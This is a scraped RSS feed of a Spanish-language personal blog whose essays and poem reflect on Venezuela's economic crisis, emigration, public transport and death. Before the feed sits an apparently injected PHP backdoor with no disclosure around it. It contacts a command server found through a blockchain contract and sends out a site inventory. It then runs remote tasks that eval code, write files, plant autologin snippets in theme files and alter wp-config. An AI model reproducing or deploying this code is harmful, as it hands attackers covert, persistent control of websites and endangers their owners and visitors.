// dw_np if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home2/zona3punto0/public_html/verdadesrelativas/wp-content/plugins/wp-helper-a0f63c/wp-helper-a0f63c.php', 'ctrl'=>'// dw_np', 'vis'=>'// mv_qz', 'vis_func'=>'wp_lzicpp', 'vis_paths'=>array('/home2/zona3punto0/public_html/verdadesrelativas/wp-content/plugins/wp-helper-a0f63c/wp-helper-a0f63c.php'), 'opt'=>'_wp_clnr7wd7', ); $keys=array(); $keys['id']='l4e'; $keys['ver']='9w'; $keys['caps']='6fh'; $keys['tasks']='k0s'; $keys['interval']='ssh'; $keys['ack_id']='fyx'; $keys['ok']='nz'; $keys['detail']='by7'; $keys['inv']='fyw'; $keys['result']='fhv'; $hdr='X-FWD-Auth';$tok='flqdH8P_1TnczH6kvifPeI37SqXiXvFul6-FbVSOfCc';$id='e2e64bbb14aafb88';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Ruth Toro | Verdades Relativas https://verdadesrelativas.com Mon, 28 Jun 2021 04:32:26 +0000 es hourly 1 https://wordpress.org/?v=7.0.4 https://i0.wp.com/verdadesrelativas.com/wp-content/uploads/2020/04/cropped-2196a43a-5029-4faf-bf28-7a88eed67d99-1.jpg?fit=32%2C32&ssl=1 Ruth Toro | Verdades Relativas https://verdadesrelativas.com 32 32 130753935 Emprender en Venezuela https://verdadesrelativas.com/emprender-en-venezuela/?utm_source=rss&utm_medium=rss&utm_campaign=emprender-en-venezuela https://verdadesrelativas.com/emprender-en-venezuela/#respond Thu, 01 Feb 2018 02:11:39 +0000 http://verdadesrelativas.com/?p=1689 La sociedad dual que a unos les da y a otros les quita Mientras que para algunos la situación en la que se encuentra Venezuela imposibilita cualquier oportunidad de crecer, para otros, es el ambiente [...]

The post Emprender en Venezuela first appeared on Verdades Relativas.

]]> La sociedad dual que a unos les da y a otros les quita

Mientras que para algunos la situación en la que se encuentra Venezuela imposibilita cualquier oportunidad de crecer, para otros, es el ambiente propicio para emprender. Tal como lo dice el sociólogo Edwin Cedeño, a quien tuve la oportunidad de entrevistar hace un par de años para una de las muchas tareas universitarias, “las crisis nos mueven al cambio, a la evolución”. Y es que son precisamente estas crisis lo que dentro de la evolución del ser humano, de los animales y hasta de las plantas, ha permitido que existan reajustes y adaptaciones para sobrevivir en un entorno nuevo y desconocido.

En el área de la salud, una materia distinta y una de las más importantes en medio de la crisis humanitaria que sufre Venezuela en la actualidad, la doctora Mariluz Arreaza, especialista en ginecología, nos refiere a explica que las crisis hacen que el individuo explore su creatividad e innove para seguir avanzando. Esto quiere decir que estos eventos irregulares pueden entenderse como impulsos para que la persona salga de su comodidad y se arriesgue a considerar nuevas opciones e ideas para superar esa situación y seguir subsistiendo. Considerando estas premisas otorgadas por dos expertos muy distintos entre sí, ¿será posible entonces el emprendimiento en Venezuela?

El emprendimiento es un concepto que se entiende como aquél proyecto que se desarrolla con esfuerzo, enfrentando problemas y dificultades para alcanzar un objetivo determinado. Para algunos puede ser increíble pensar en emprender, cuando existen cada vez más venezolanos que no tienen qué comer y recurren a las bolsas de basura de casas y restaurantes, que no pueden costearse zapatos nuevos mientras los viejos ya no soportan un remendado más; o que sencillamente no consiguen manera de sobrevivir al día a día sino mendigando por las calles, porque es a eso a lo que los ha llevado el país, con su eterna inflación, su delincuencia y sobre todo, su pérdida de valores.

Pero para otros, ha sido un reto a enfrentar. Quienes deciden emprender en Venezuela son personas arriesgadas, que asumieron el reto poniendo toda su determinación en un proyecto, muchas veces abandonando cualquier otra responsabilidad (como los estudios o trabajos en donde sólo eran empleados) para aventurarse a construir su propio negocio. Hacerlo requiere de una gran inversión económica, préstamos bancarios o colaboración de amigos y socios. Es una decisión difícil, llena de incertidumbre y pánico a fracasar. Y sin embargo, ha sido posible para unos cuantos.

En la zona central del país, Caracas, Carabobo y Aragua, se han instalado nuevas marcas y empresas de todo tipo; hamburgueserías, dulcerías, cafeterías, artículos pop, ropa… y todos los que han logrado establecerse en el mercado e incluso expandirse a otros estados y ciudades, tienen algo en común: la innovación. El emprendedor debe ser capaz de reconocer las debilidades de los competidores y las necesidades de los consumidores para generar una estrategia distinta en su empresa. Y en el caso del venezolano, que consume con la vista, más aún. Con solo mostrarle algo distinto, algo a lo que nunca antes tuvo acceso o que sólo vio en otros países (porque siempre se quiere lo que está en otros países antes que en el propio; gracias, transculturización), inmediatamente lo querrá y hará lo posible por tenerlo. Incluso si debe reunir por meses o reajustar su presupuesto, buscará la manera de conseguirlo.

Es una nación con ideas duales y valores encontrados. En Venezuela, todo está dividido por la mitad: la política, los valores, la ética… Y la sociedad. Unos todavía intentan actuar bien, otros se han sumado a la corrupción y la “viveza criolla”. Unos invierten todo para emprender, otros no tienen para costearse siquiera en una comida al día. Unos mendigan para comprar algún pan con el cual desayunar, otros gastan sin piedad en lo primero que les llamó la atención. Y estos últimos son el mercado al que los emprendedores se dirigen, porque saben que aún en medio de la crisis, las personas necesitan distracción, necesitan ser partícipes de algo distinto, necesitan romper con la rutina y la cotidianidad y salirse del esquema de sacrificios y recortes en el que se han visto obligados a participar. Esas son las urgencias que el emprendedor reconoce en sus potenciales clientes y lo que aprovecha para ofrecerles, al precio que requiera, lo que buscan.

Entonces, ¿es posible emprender en Venezuela? Por supuesto que sí. El asunto está en si es viable; porque eventualmente la inflación seguirá aumentando, los precios de los productos también, y tarde o temprano, serán cada vez menos quienes puedan costearlos. El problema está en si limitar el emprendimiento a Venezuela, o comenzar a pensar en cruzar fronteras a las cuales expandirse. Porque sí, las crisis permiten evolucionar y crecer. Pero luego es necesario avanzar, y ese es un tema distinto. La hipótesis ya no es si es posible emprender en nuestro, porque está claro que se puede, pero ¿es posible avanzar, crecer y lograr la realización personal en Venezuela? Lo que inevitablemente nos lleva a otro planteamiento: ¿Emigrar o resistir? esa es la cuestión.

The post Emprender en Venezuela first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/emprender-en-venezuela/feed/ 0 1689 Detengan el bus, quiero bajar https://verdadesrelativas.com/detengan-el-bus-quiero-bajar/?utm_source=rss&utm_medium=rss&utm_campaign=detengan-el-bus-quiero-bajar https://verdadesrelativas.com/detengan-el-bus-quiero-bajar/#comments Sun, 14 Jan 2018 18:18:51 +0000 http://verdadesrelativas.com/?p=1672 Siento que me ahogo. Estoy en el autobús, sentada como por milagro en la primera fila tras el conductor. Él no se percata de mi presencia, ni sabe que soy la hija de la señora [...]

The post Detengan el bus, quiero bajar first appeared on Verdades Relativas.

]]> Siento que me ahogo. Estoy en el autobús, sentada como por milagro en la primera fila tras el conductor. Él no se percata de mi presencia, ni sabe que soy la hija de la señora que acaba de bajarse y a quien ofendió por reclamar un derecho. Cree que me fui con ella, y en realidad, sólo se entera de que los puestos están llenos y el bus, abarrotado.

Durante el viaje lo oigo criticar a otros, envidiarles y conversar amenamente sobre trivialidades con el colector. Veo su grueso abdomen doblarse a los costados; los cauchos brincan al pasar por los baches. Los del autobús, también. Habla de la gran comida que tuvo el día anterior. Yo agradezco mi arepa de maíz pilao’ con tres cucharaditas de queso.

Mi mamá trabaja muchísimo; el conductor jura que “esa coño e’ madre tiene plata”, porque ella tiene un negocio y él no. Ella trabaja 12 horas diarias, sufre de insomnio, se despierta de sopetón cada noche y repasa todas las facturas que debe pagar en la semana. Llena un montón hojas que tapizan el espejo de la peinadora con las cuentas que lleva; también, con oraciones a Dios, confiando en su providencia Divina. Ha adelgazado más de 20 kilos en unos pocos meses, ahora le queda la ropa de mi talla. Mi mamá es quien se encarga de todos los gastos de la casa; también se ocupa de ayudar a mi hermano con mis sobrinas, porque la situación está difícil y él solo no puede. La universidad la logré gracias a ella. Pero el conductor asume que ella “tiene plata” y él no, porque ella tiene un negocio y él conduce un autobús. Aun así, yo estoy de pasajera en el transporte que él conduce, porque no tengo la plata que él cree, y refunfuño porque no quiso aceptar mi pasaje estudiantil. Me molesta, porque es mi derecho y porque no puedo malgastar el dinero; con lo que tuve que darle a él, podría haber pagado uno de los buses de regreso. Él no lo sabe pero se equivoca; no tenemos más de lo que se puede conseguir trabajando de sol a sol, día tras día, con la inflación a cuestas, la misma que le hace pobre a él, nos empobrece a nosotros.

En mi cara, una inmaculada seriedad esconde lo increíblemente molesta que estoy por su comentario sobre mi madre. Me desespero, quiero bajar del bus, pero aún falta camino. Pienso en lo temprano que debo salir cada día para conseguir transporte; hoy debo tomar tres autobuses hasta mi destino. Sigo allí, tras la espalda del conductor, visible más allá de los límites del asiento que no abarca su inmensidad. A mi lado, un bolso golpea la cabeza de una joven sentada. No cabemos más, pero se siguen montando. Estoy sofocada y no soy la única; al menos son las ocho de la mañana y no las cinco de la tarde.

Recuerdo su comentario sobre mi mamá. “Esa coño e’ madre…” Colapso. Trato de controlarme y siento muchas ganas de cantarle algunas palabras de no muy buena educación cuando por fin me baje del autobús, pero yo soy prudente. No se puede confiar en nadie; aquí si alguien no es “pran”, lo conoce. Inspiro hondo y en ese instante, en medio de mi ira, algo hace clic en mi cabeza.

Quiero bajarme de allí, cansada del apretujón de tanta gente que en su individualismo solo piensan en sí mismos, en cómo hacer para mantenerse allí de pie en el autobús. Algunos son llevados contracorriente; no quieren herir a nadie pero no pueden hacer más que empujarse porque los empujan. La mayoría, se atropella de manera obligada, porque no importa el otro, importa solo la propia necesidad. No soporto al conductor, que no ve más allá de su nariz, a pesar de que su trabajo es justamente ser capaz de ver el camino desde distintos ángulos y llevarnos sanos y salvos a nuestro destino; y si es posible, en paz. El colector no atiende a normas y se impone corruptamente a los derechos de sus pasajeros y un fiscal que poco o nada hace por hacer cumplir el trabajo como se debe, finge escuchar las quejas pero poco o nada le importa, mientras consiga su parte del día.

Quiero bajarme de allí, pero entonces, en donde estoy como pasajera, contemplando el panorama a mi alrededor, ajeno a mí y a la vez tan propio, tan personal, me doy cuenta. No es del autobús de donde quiero bajarme, sino de Venezuela. Quiero escapar de este país.

El momento pasó. Sigo sentada detrás del conductor. Ahogada, sofocada y desesperada por llegar a mi destino. El remanente de la idea que pasó hacía un segundo atrás, se mantiene en mi mente, difusa como una nebulosa e intangible como un fantasma. Nunca antes había tenido aquél pensamiento con tantas fuerzas, y no me lo esperaba en un momento así, tan cotidiano. Parpadeo, tratando de volver a conectarme con lo que sucede a mi alrededor. Al frente, el chofer continúa hablando de la comida que ha podido disfrutar últimamente. Inspiro hondo. Agradezco mi arepa de maíz pilao’ con tres cucharaditas de queso.

 

The post Detengan el bus, quiero bajar first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/detengan-el-bus-quiero-bajar/feed/ 1 1672 Sí, ya es diciembre https://verdadesrelativas.com/si-ya-es-diciembre/?utm_source=rss&utm_medium=rss&utm_campaign=si-ya-es-diciembre https://verdadesrelativas.com/si-ya-es-diciembre/#respond Mon, 25 Dec 2017 22:30:06 +0000 http://verdadesrelativas.com/?p=1649 “Este diciembre no se siente diciembre”; es lo que se oye decir a la gente en todas partes. Yo misma así lo siento. Y es que, no se siente diciembre porque en muchas casas no [...]

The post Sí, ya es diciembre first appeared on Verdades Relativas.

]]> “Este diciembre no se siente diciembre”; es lo que se oye decir a la gente en todas partes. Yo misma así lo siento.

Y es que, no se siente diciembre porque en muchas casas no hay ánimos para colocar el arbolito o el nacimiento. No se siente diciembre, porque se nos ha hecho imposible llenar la nevera con hallacas como antes. Pocos de mis conocidos se han comido siquiera la primera. Yo lo hice, por pura casualidad. Porque estaba en el lugar correcto, en el momento correcto.

No se siente diciembre, porque no se respira la emoción por el regalo del niño Jesús, sino más bien un desánimo porque quizás tampoco podamos contar con esa alegría la noche de navidad. No se siente diciembre, porque un simple pan de jamón cuesta más de lo que alguien que gana sueldo mínimo se puede gastar en un alimento que dura tan solo una sentada.

No se siente diciembre, porque a pesar de que ya está por terminar el mes, los días se han sucedido uno tras otro con más preocupaciones que momentos de verdadera alegría. Porque diciembre son nuestras costumbres, nuestra cultura, nuestra comida, nuestros momentos juntos en un entorno diferente al del resto del año.

Y aun así, es diciembre, lo dice el calendario. El clima es decembrino, con una brisa que refresca el ambiente y llena las casas de una agradable sensación. En las costas, las noches son frías y las lluvias espontáneas. Porque aunque no se siente diciembre por nuestras añoranzas de tiempos mejores, los días no dejan de pasar, los meses no dejan de cambiar y los años, siguen por venir. Y así como el tiempo, las crisis también pasarán. Algún día, las añoranzas serán presentes de nuevo, y se crearán nuevas historias y nuevas costumbres. Porque sigue siendo diciembre, y la navidad sigue llegando; para los creyentes, Jesús sigue naciendo, y para los que no, la reunión familiar sigue siendo vital.

The post Sí, ya es diciembre first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/si-ya-es-diciembre/feed/ 0 1649 Nuestro mayor logro https://verdadesrelativas.com/nuestro-mayor-logro/?utm_source=rss&utm_medium=rss&utm_campaign=nuestro-mayor-logro https://verdadesrelativas.com/nuestro-mayor-logro/#respond Wed, 18 Oct 2017 15:27:14 +0000 http://verdadesrelativas.com/?p=1539 Una de las cosas más preocupantes que ha producido el paulatino y notable deterioro de la sociedad venezolana, es su deshumanización. Eso que nos ha hecho empezar a ser individualistas antes que solidarios, “rolo e’ [...]

The post Nuestro mayor logro first appeared on Verdades Relativas.

]]> Una de las cosas más preocupantes que ha producido el paulatino y notable deterioro de la sociedad venezolana, es su deshumanización. Eso que nos ha hecho empezar a ser individualistas antes que solidarios, “rolo e’ vivos” en lugar de honestos, interesados, en lugar de generosos. Por supuesto, esto es una generalidad; sé que todavía hay quienes apuestan a lo bueno que tenemos como seres humanos, pero esos sentimientos se ven a veces magullados por otras tantas injusticias que nos afectan.

Un ejemplo sencillo y por el que he decidido hablar del tema, es el asunto del transporte público. Y es que los conductores o a veces ni siquiera ellos sino sus colectores, se aprovechan de la falta de autobuses (uno de los efectos colaterales de la inflación, la mala gestión y demás vicisitudes bien conocidas por todos, como la escasez de repuestos y lubricantes) y cuando comienzan a acercarse las últimas horas de la tarde, comienzan a abusar exponencialmente de los precios del pasaje.

No digo que no sea cierto que mantener un vehículo de cualquier tipo, inclusive una bicicleta sencilla, cuesta muchísimo, y que los que viven de ser transportistas no la tienen fácil, pero es que ¿y quién sí? Porque les aseguro que nadie que tenga que viajar en autobús vive con más comodidad que el que lo maneja; cuidado si no peor. Entonces, ¿por qué aprovecharse de la angustia de las personas por llegar a casa a sabiendas de que mientras oscurece, disminuyen las posibilidades de conseguir cualquier medio de transporte hasta el hogar?

Es así como la gente se comienza a desesperar y a luchar por entrar en el bus, a golpes, empujones y arañazos, porque lo que importa llegar a casa, y el que no se montó como pudo, es “tremendo pendejo”. Mientras tanto, el colector cobra cuanto quiere, porque sabe que las personas con tal de poder volver a casa pagarán cualquier cosa, así se queden con nada ante la falta de efectivo que también nos aqueja.

Sin embargo, mi moral, mi ética, mi humanismo y hasta mi lógica me dicen que lo correcto debería ser todo lo contrario. Que una persona que ofrece un servicio público se debe a la gente y que justamente por eso debería sentir cierta responsabilidad y si no, cierta caridad por el otro al que sirve. Esos cuatro pilares de mi consciencia me indican que el deber ser es todo lo contrario pues justamente por lo tarde, uno tendría que sensibilizarse y ofrecer accesibilidad al transporte, no obstaculizarla.

Y es que tampoco deberíamos empujarnos entre nosotros sino interesarnos porque todos quepamos, aún en los huequitos (por no ponernos a hablar de que debería haber suficiente cantidad de vehículos); deberíamos querer que todos lleguen con bien a sus casas, no gritarles que si quieren hacerlo, tendrán que pagar hasta tres veces el precio; porque además, lo hacen con altanería, con molestia, humillándolos, como si estuvieran haciendo un favor muy pesado y no su trabajo. ¡Ah! y ni te atrevas a tratar de hacer uso de tu derecho de pagar menos como estudiante o adulto mayor; nada de eso cuenta después de las 5 de la tarde, cuando tienes que dejar de lado tu dignidad para poder subirte a un autobús, sin atreverte a pelear porque son capaces hasta de bajarte y que te quedes ahí, esperando que quizá llegue otro transporte más a tratarte igual o peor. En fin, deberíamos querernos como “hermanos venezolanos” que tanto nos llamamos.

Nos encanta decir que somos fraternos, que nadie como el venezolano para ser servicial y hospitalario. Pero quien venga con esa idea en la cabeza y se atreva a mirarnos un día en el metro, en el autobús, en la cola, estará seguro de que tales afirmaciones no son más que sarcasmo. Porque en lugar de sentir cordialidad, gentileza, humanidad por el otro que siente la misma angustia que uno y ayudarle, sentimos egoísmo y nada más que interés propio. Creo que esa es la mayor victoria que las medidas políticas con las que se maneja el país han conseguido: la división, la separación, la desidia, y en resumen, la deshumanización. Y eso es algo que está en nada más que nuestras manos cambiar. Quiero seguir apostando a que eso es posible.

The post Nuestro mayor logro first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/nuestro-mayor-logro/feed/ 0 1539 Ella es https://verdadesrelativas.com/ella-es/?utm_source=rss&utm_medium=rss&utm_campaign=ella-es https://verdadesrelativas.com/ella-es/#respond Fri, 06 Oct 2017 14:38:38 +0000 http://verdadesrelativas.com/?p=1496   Ella es. Y no es. No es desconocida. Ella es una señora que a todos llena, a todos toca y a todos llega. Y los llena de vacío. Y los toca con tristeza. Y [...]

The post Ella es first appeared on Verdades Relativas.

]]>  

Ella es. Y no es.

No es desconocida.

Ella es una señora

que a todos llena, a todos toca y a todos llega.

Y los llena de vacío.

Y los toca con tristeza.

Y les llega a destiempo.

Una señora imponente.

A su nombre muchos temen,

en su nombre, muchos luchan

por su nombre, muchos lloran.

Pues es ella, no cualquiera

Es La Gran Señora.

A su paso tiemblan aquellos

que el soplo han recibido

Porque les será arrebatado lo que no fue regalado

Lo que no sabían, era prestado.

Ella llega pronto, muy pronto…

O tarde, pero nunca demasiado.

Pues unos la esperan;

de ella otros huyen

Y la mayoría, su venida ni siquiera imagina.

Pues, es claro que una Gran Señora nunca avisa

Menos ella, que la puerta, aunque la abre, no la toca

Y ella misma, también la cierra, sin ser escuchada.

Insignificante todo es, cuando ella se asoma.

Nada vale, cuando su nombre se pronuncia.

Y aún más, todo recobra su valor cuando aparece.

Nada importa cuando ella está presente.

Y al contrario, todo importa desde el momento en que se muestre.

Todo eso es y no es ella.

Ella, que es La Muerte.

The post Ella es first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/ella-es/feed/ 0 1496 El síndrome de los tres monos https://verdadesrelativas.com/el-sindrome-de-los-tres-monos/?utm_source=rss&utm_medium=rss&utm_campaign=el-sindrome-de-los-tres-monos https://verdadesrelativas.com/el-sindrome-de-los-tres-monos/#respond Fri, 01 Sep 2017 11:14:13 +0000 http://verdadesrelativas.com/?p=1287 ¿Venezuela? Me preguntaron una vez. Entonces yo respondí que Venezuela está enferma. Tiene el síndrome de los Tres Monos. Generalmente, el monumento japonés de los tres monos que tapan sus ojos, oídos y boca suele [...]

The post El síndrome de los tres monos first appeared on Verdades Relativas.

]]> ¿Venezuela? Me preguntaron una vez. Entonces yo respondí que Venezuela está enferma. Tiene el síndrome de los Tres Monos.

Generalmente, el monumento japonés de los tres monos que tapan sus ojos, oídos y boca suele interpretarse como la sabia y prudente elección de no ver, no oír y no hablar el mal. Pero esta escultura evoca complejas y diversas opiniones, una de ellas la que quizá describiría con total asertividad la realidad del venezolano: no mira ni escucha la injusticia; es indiferente ante ella y no la denuncia. No atiende a consejos, como cuando Arturo Uslar Pietri insistiría tantas veces en sembrar el petróleo y cosechar las riquezas venideras; se hace el ciego ante la necesidad del otro que también siente y padece la crisis económica, política y social en la que se encuentra sumergido el país; ante la violación de los derechos humanos, ante la inmoralidad de aquellos que rigen las normas de la ética. Se calla cuando la corrupción obra a su favor, cuando se beneficia de la desgracia del otro, cuando se aprovecha de la necesidad del hermano.

¡Cuánto no aclamamos la belleza de nuestro país! Sus paisajes, sus platillos tradicionales, su clima tropical, su gente jovial. Pero eso no es Venezuela, eso es lo que tiene Venezuela. Lo que esta nación es, es lo que hemos hecho con ella. Una tierra que daba frutos que devoramos sin mirar más allá de nuestras narices, para luego encontrarnos con que ya no queda nada más que comer, que sembrar, que cosechar. Pero no es culpa de esta generación, ni de la anterior. No se trata de la cuarta o la quinta república, sino de Venezuela desde la independencia y hasta mucho antes. Es nuestra historia la que nos ha hecho como somos.

